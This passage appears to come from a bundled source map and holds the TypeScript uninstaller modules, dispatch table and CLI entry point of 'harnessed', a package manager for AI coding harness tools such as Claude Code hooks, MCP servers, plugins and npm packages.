{ matcher?: string; command: string }[]>\n [k: string]: unknown\n}\n\nexport const uninstallCcHookAdd: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'cc-hook-add') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n const settingsPath = join(homedir(), '.claude', 'settings.json')\n let existing: string\n try {\n existing = await readFile(settingsPath, 'utf8')\n } catch {\n // File absent — hook can't be present, idempotent noop.\n return { ok: true, removedPaths: [] }\n }\n\n let settings: Settings\n try {\n settings = JSON.parse(existing) as Settings\n } catch (e) {\n return {\n ok: false,\n phase: 'preflight',\n error: `malformed settings.json: ${(e as Error).message.slice(0, 200)}`,\n }\n }\n\n const ev = install.hook_event\n const cmd = install.hook_command\n const matcher = install.hook_matcher\n\n if (!settings.hooks?.[ev]) {\n // Hook event block absent — idempotent noop.\n return { ok: true, removedPaths: [] }\n }\n\n const before = settings.hooks[ev].length\n settings.hooks[ev] = settings.hooks[ev].filter(\n (h) => !(h.command === cmd && h.matcher === matcher),\n )\n\n // Clean up empty hook event array.\n if (settings.hooks[ev].length === 0) delete settings.hooks[ev]\n if (Object.keys(settings.hooks).length === 0) delete settings.hooks\n\n if (settings.hooks?.[ev]?.length === before || before === settings.hooks?.[ev]?.length) {\n // No change — hook was not present, idempotent noop.\n }\n\n const newText = `${JSON.stringify(settings, null, 2)}\\n`\n await writeFile(settingsPath, newText)\n\n return { ok: true, removedPaths: [settingsPath] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 4/7: cc-plugin-marketplace.\n// BDL T1.0: `claude plugin uninstall <plugin>@<marketplace>` (scope defaults user).\n// parseCmd inline — single caller, YAGNI per RESEARCH § 7 Q2.\n// Reuses runArgs from installers/lib/runClaudeArgs.ts (#BF Phase 5.1 W0).\n\nimport { runArgs } from '../installers/lib/runClaudeArgs.js'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\n// sister src/installers/ccPluginMarketplace.ts parseCmd — extract pluginAtMkt only.\nfunction extractPluginAtMkt(cmd: string): string | null {\n const m = cmd.match(/(?:\\/?plugin)\\s+install\\s+(\\S+)/i)\n if (!m || m[1] === undefined) return null\n const pluginAtMkt = m[1].replace(/[;&]+$/, '')\n return pluginAtMkt.includes('@') ? pluginAtMkt : null\n}\n\nexport const uninstallCcPluginMarketplace: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'cc-plugin-marketplace') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n const pluginAtMkt = extractPluginAtMkt(install.cmd)\n if (!pluginAtMkt) {\n return {\n ok: false,\n phase: 'preflight',\n error: `cc-plugin-marketplace cmd missing plugin install <plugin>@<marketplace>: '${install.cmd.slice(0, 80)}'`,\n }\n }\n\n const r = await runArgs(['plugin', 'uninstall', pluginAtMkt], ctx.cwd)\n if (r.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n error: `claude plugin uninstall exited ${r.exitCode}: ${r.stderr.slice(0, 200)}`,\n }\n }\n return { ok: true, removedPaths: [pluginAtMkt] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 5/7: git-clone-with-setup.\n// Node 22 native fs.rm cross-OS (no shell spawn per RESEARCH zero-risk).\n// extractCloneTarget inline — sister src/installers/gitCloneWithSetup.ts L70-98 YAGNI.\n\nimport { rm } from 'node:fs/promises'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\n// sister src/installers/gitCloneWithSetup.ts extractCloneTarget — refactor to shared lib if 3rd caller appears.\nfunction extractCloneTarget(cmd: string): string | null {\n const idx = cmd.indexOf('git clone')\n if (idx < 0) return null\n const tail = cmd.slice(idx + 'git clone'.length).trim()\n const tokens = tail.split(/\\s+/)\n let i = 0\n while (i < tokens.length) {\n const t = tokens[i]\n if (t === undefined || !t.startsWith('-')) break\n if (t === '--depth' || t === '--branch' || t === '-b') {\n i += 2\n } else if (t.includes('=')) {\n i += 1\n } else {\n i += 2\n }\n }\n const dest = tokens[i + 1]\n if (!dest || dest === '&&' || dest === ';' || dest === '|') return null\n if (dest.startsWith('~/')) {\n const home = process.env.HOME ?? process.env.USERPROFILE\n if (!home) return null\n return `${home}${dest.slice(1)}`\n }\n return dest\n}\n\nexport const uninstallGitCloneWithSetup: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'git-clone-with-setup') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n const cloneTarget = extractCloneTarget(install.cmd)\n if (!cloneTarget) {\n return {\n ok: false,\n phase: 'preflight',\n error: `git-clone-with-setup cmd missing parseable 'git clone <url> <dest>': '${install.cmd.slice(0, 80)}'`,\n }\n }\n\n await rm(cloneTarget, { recursive: true, force: true, maxRetries: 3 })\n return { ok: true, removedPaths: [cloneTarget] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 3/7: mcp-http-add.\n// BDL T1.0: `claude mcp remove <name>` transport-agnostic (same cmd as mcpStdioAdd).\n// Reuses runArgs from installers/lib/runClaudeArgs.ts (#BF Phase 5.1 W0).\n\nimport { runArgs } from '../installers/lib/runClaudeArgs.js'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\nexport const uninstallMcpHttpAdd: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'mcp-http-add') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n const name = ctx.manifest.metadata.name\n const r = await runArgs(['mcp', 'remove', name], ctx.cwd)\n if (r.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n error: `claude mcp remove exited ${r.exitCode}: ${r.stderr.slice(0, 200)}`,\n }\n }\n return { ok: true, removedPaths: [name] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 2/7: mcp-stdio-add.\n// BDL T1.0: `claude mcp remove <name>` (no --scope needed; transport-agnostic).\n// Reuses runArgs from installers/lib/runClaudeArgs.ts (#BF Phase 5.1 W0).\n\nimport { runArgs } from '../installers/lib/runClaudeArgs.js'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\nexport const uninstallMcpStdioAdd: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'mcp-stdio-add') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n const name = ctx.manifest.metadata.name\n const r = await runArgs(['mcp', 'remove', name], ctx.cwd)\n if (r.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n error: `claude mcp remove exited ${r.exitCode}: ${r.stderr.slice(0, 200)}`,\n }\n }\n return { ok: true, removedPaths: [name] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 1/7: npm-cli.\n// D-02: ephemeral detect (npx --yes / npx -y in install.cmd) → no-op + warn exit 0.\n// Otherwise: `npm uninstall <pkg>` via direct spawn (NOT runArgs — runArgs prefixes 'claude').\n\nimport { spawn } from 'node:child_process'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\nexport const uninstallNpmCli: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'npm-cli') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n // D-02: ephemeral detect — npx --yes / npx -y means runtime-only, nothing to uninstall.\n if (/\\bnpx\\s+(--yes|-y)\\b/.test(install.cmd)) {\n const name = ctx.manifest.metadata.name\n console.warn(\n `ephemeral install: nothing to uninstall ('${name}' uses 'npx --yes' runtime-only invocation; no persistent install to remove)`,\n )\n return { ok: true, removedPaths: [] }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n // Extract package name from install.cmd (e.g. \"npm install -g ctx7\" → \"ctx7\")\n const m = install.cmd.match(/npm\\s+(?:install|i)\\s+(?:-g\\s+)?(\\S+)/)\n const pkg = m?.[1] ?? ctx.manifest.metadata.upstream.source\n\n const isWin = process.platform === 'win32'\n const result = await new Promise<{ exitCode: number; stderr: string }>((resolve) => {\n const child = isWin\n ? spawn('cmd.exe', ['/c', 'npm', 'uninstall', '-g', pkg], { windowsHide: true })\n : spawn('npm', ['uninstall', '-g', pkg], { shell: false })\n let stderr = ''\n child.stderr?.setEncoding('utf8').on('data', (c: string) => {\n stderr += c\n })\n const timer = setTimeout(() => {\n child.kill('SIGKILL')\n resolve({ exitCode: -1, stderr: `${stderr}[timeout]` })\n }, 30_000)\n child.on('error', (e) => {\n clearTimeout(timer)\n resolve({ exitCode: -1, stderr: e.message })\n })\n child.on('close', (code) => {\n clearTimeout(timer)\n resolve({ exitCode: code ?? -1, stderr })\n })\n })\n\n if (result.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n error: `npm uninstall exited ${result.exitCode}: ${result.stderr.slice(0, 200)}`,\n }\n }\n return { ok: true, removedPaths: [pkg] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 6/7: npx-skill-installer.\n// NOT ephemeral (npxSkill writes persistent files per RESEARCH § 2 L155 + Pitfall 2).\n// extractSkillName inline — sister src/installers/npxSkillInstaller.ts L47-54 YAGNI.\n\nimport { rm } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\n// sister src/installers/npxSkillInstaller.ts extractSkillName — refactor to shared lib if 3rd caller appears.\nfunction extractSkillName(cmd: string, fallback: string): string {\n const m = cmd.match(/\\bskills(?:@\\S+)?\\s+add\\s+(\\S+)/i)\n if (!m || m[1] === undefined) return fallback\n const ref = m[1]\n const seg = ref.split('/')\n return seg[seg.length - 1] ?? fallback\n}\n\nexport const uninstallNpxSkillInstaller: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'npx-skill-installer') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n const name = ctx.manifest.metadata.name\n const skillName = extractSkillName(install.cmd, name)\n const skillDir = join(homedir(), '.claude', 'skills', skillName)\n\n await rm(skillDir, { recursive: true, force: true, maxRetries: 3 })\n return { ok: true, removedPaths: [skillDir] }\n}\n","// Phase 5.2 W1 T1.2 — uninstaller dispatch table.\n// Sister: src/installers/index.ts symmetric pattern.\n// D-01 LOCKED: per-method 7 files (no levelOf() — uninstall has no L4 --system gate).\n\nimport { uninstallCcHookAdd } from './ccHookAdd.js'\nimport { uninstallCcPluginMarketplace } from './ccPluginMarketplace.js'\nimport { uninstallGitCloneWithSetup } from './gitCloneWithSetup.js'\nimport type { Manifest, Uninstaller, UninstallOpts, UninstallResult } from './lib/types.js'\nimport { uninstallMcpHttpAdd } from './mcpHttpAdd.js'\nimport { uninstallMcpStdioAdd } from './mcpStdioAdd.js'\nimport { uninstallNpmCli } from './npmCli.js'\nimport { uninstallNpxSkillInstaller } from './npxSkillInstaller.js'\n\nexport const uninstallers: Record<Manifest['spec']['install']['method'], Uninstaller> = {\n 'npm-cli': uninstallNpmCli,\n 'mcp-stdio-add': uninstallMcpStdioAdd,\n 'mcp-http-add': uninstallMcpHttpAdd,\n 'cc-plugin-marketplace': uninstallCcPluginMarketplace,\n 'git-clone-with-setup': uninstallGitCloneWithSetup,\n 'npx-skill-installer': uninstallNpxSkillInstaller,\n 'cc-hook-add': uninstallCcHookAdd,\n}\n\nexport async function runUninstall(\n manifest: Manifest,\n opts: UninstallOpts,\n): Promise<UninstallResult> {\n const uninstaller = uninstallers[manifest.spec.install.method]\n return uninstaller({ manifest, opts, cwd: process.cwd() })\n}\n","#!/usr/bin/env node\nimport { Command } from 'commander'\nimport pkg from '../package.json' with { type: 'json' }\nimport { registerAudit } from './cli/audit.js'\nimport { registerAuditLog } from './cli/audit-log.js'\nimport { registerBackupList } from './cli/backup-list.js'\nimport { registerDoctor } from './cli/doctor.js'\nimport { registerExecuteTask } from './cli/execute-task.js'\nimport { registerGc } from './cli/gc.js'\nimport { registerInstall } from './cli/install.js'\nimport { registerInstallBase } from './cli/install-base.js'\nimport { registerManifestAdd } from './cli/manifest-add.js'\nimport { registerResearch } from './cli/research.js'\nimport { registerResume } from './cli/resume.js'\nimport { registerRollback } from './cli/rollback.js'\nimport { registerSetup } from './cli/setup.js'\nimport { registerStatus } from './cli/status.js'\nimport { registerUninstall } from './cli/uninstall.js'\nimport { migrateLegacyHarnessedRoot } from './installers/lib/harnessedRoot.js'\n\n// v3.0.3 — migrate any pre-v3.0.3 `~/.harnessed/` to `~/.claude/harnessed/`\n// before any subcommand runs. Idempotent on subsequent invocations.\nmigrateLegacyHarnessedRoot()\n\nconst program = new Command()\n\nprogram\n .name('harnessed')\n .description('AI coding harness package manager + composition orchestrator')\n .version(pkg.version)\n\n// 12 subcommands per ADR 0004 + 0007 + 0008 + 0011 + 0012 + 0014 draft\n// (execute-task added in phase 2.2 — B-28 独立子命令;\n// manifest-add added in phase 2.3 W3 T3.2 — EE-5 5Q merge gate, D-03 BOTH 双闸 L1;\n// resume added in phase 3.1 W4 T4.4 — R7.3 D-03 RELOAD checkpoint reload).\nregisterInstall(program)\nregisterInstallBase(program)\nregisterResearch(program)\nregisterExecuteTask(program)\nregisterManifestAdd(program)\nregisterDoctor(program)\nregisterAudit(program)\nregisterAuditLog(program) // Phase 5.1 W1 T1.3 — 13th subcommand (R10.1 D-01 jq filter consumer)\nregisterRollback(program)\nregisterStatus(program)\nregisterBackupList(program)\nregisterGc(program)\nregisterResume(program) // Phase 3.1 W4 T4.4 — 12th subcommand (R7.3 D-03 RELOAD)\nregisterUninstall(program) // Phase 5.2 W1 T1.1 — 14th subcommand (R10.3 D-01 7-method dispatch)\nregisterSetup(program) // v1.0.1 T1.5 — 15th subcommand (one-time onboarding workflows/*/SKILL.md → ~/.claude/skills/)\n\nprogram.parse(process.argv)\n"]}
|